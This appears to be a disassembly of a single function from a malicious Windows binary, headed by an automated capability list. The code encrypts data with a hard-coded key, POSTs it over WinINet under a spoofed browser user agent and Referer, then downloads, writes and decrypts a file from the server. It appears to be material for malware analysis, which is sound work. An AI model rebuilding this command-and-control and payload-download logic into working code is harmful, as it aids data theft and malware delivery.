Function at 0x1000f160
Capabilities:
Check http status code
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
xor esi, esi
push edi
push 0xff
lea eax, [ebp - 0x127]
xor ebx, ebx
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 0xc], esi
mov byte [ebp - 0x128], bl
call sub.ntdll.dll_memset
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x28], cx
cmp dword [ebp + 0xc], esi
je 0x1000f5ba
cmp dword [ebp + 0x10], esi
je 0x1000f5ba
cmp dword [ebp + 0x20], esi
je 0x1000f262
mov ebx, dword [ebp + 0x1c]
xor edi, edi
test ebx, ebx
je 0x1000f1f9
mov edx, dword [0x10054278]
lea esi, [ebx + 0x13]
and esi, 0xfffffff0
push esi
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000f1f6
push esi
push 0
push edi
call sub.ntdll.dll_memset
add esp, 0xc
mov esi, dword [ebp - 0xc]
mov dword [ebp - 8], edi
test edi, edi
je 0x1000f5ba
mov eax, dword [ebp + 0x18]
push ebx
push eax
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x1000f220
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x128], dl
inc eax
cmp eax, 0xf
jl 0x1000f247
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000f232
push edi
push edi
mov edx, ebx
lea eax, [ebp - 0x128]
call fcn.10012820
mov ebx, dword [ebp - 8]
mov eax, dword [ebp + 8]
push 0x4000000
push 0
push 0
push eax
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000f561
mov ecx, dword [ebp + 0xc]
push 1
push 0
push 3
push 0
push 0
push 0x50
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000f561
mov edx, dword [ebp + 0x10]
push 1
push 0
push 0
push 0
push str.HTTP_1.0
push edx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000f561
cmp dword [ebp + 0x24], 0
mov edi, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov esi, eax
jne 0x1000f2ec
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push esi
call edi
push 0x20000000
push 0xffffffffffffffff
push str.Referer:_http:__www.google.com_r_n
push esi
call edi
cmp dword [ebp + 0x24], 0
je 0x1000f331
push 0x10055760
push str.Content_Type:_multipart_form_data__boundary____________________________s_r_n
lea ecx, [ebp - 0x230]
push 0x104
push ecx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea edx, [ebp - 0x230]
push edx
push esi
call edi
mov eax, ebx
test ebx, ebx
jne 0x1000f33a
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x1c]
push ecx
push eax
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x1000f561
lea edx, [ebp - 0x20]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x20000013
push edx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1000f561
cmp dword [ebp - 0x14], 0xc8
jne 0x1000f561
mov eax, dword [ebp + 0x14]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push eax
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000f55e
mov ecx, dword [0x10054278]
push 0x1010
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000f496
push 0x1010
push 0
push esi
call sub.ntdll.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp + 0x20]
push edx
push 0x1000
push esi
push eax
mov dword [ebp + 0x20], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000f473
mov edi, dword [ebp + 0x20]
test edi, edi
je 0x1000f473
push 1
push 0
push 0
push ebx
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push edi
push 0
push eax
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp + 0x10]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp + 0xc]
push 0
push edi
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000f3b0
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000f3b0
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000f496
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x1000f4bd
lea ecx, [ebp + 0xc]
push ecx
push ebx
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000f4bd
test byte [ebp + 0xc], 2
jne 0x1000f4bd
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 0x14]
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, edi
call fcn.100070d0
mov esi, eax
test esi, esi
je 0x1000f55e
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x1000f4e1
xor ecx, ecx
jmp 0x1000f500
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x128], dl
inc eax
cmp eax, 0xf
jl 0x1000f515
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000f500
mov edx, dword [ebp - 0x18]
push esi
push esi
lea eax, [ebp - 0x128]
call fcn.10012820
mov eax, dword [ebp - 0x18]
push eax
push esi
mov eax, edi
call fcn.10006ff0
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000f55e
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000f588
mov eax, dword [0x10054278]
push ebx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000f588
mov ecx, dword [0x10054278]
push ebx
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x1000f59a
mov edx, dword [ebp - 4]
push edx
call esi
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1000f5a4
push eax
call esi
mov eax, dword [ebp + 8]
test eax, eax
je 0x1000f5ae
push eax
call esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20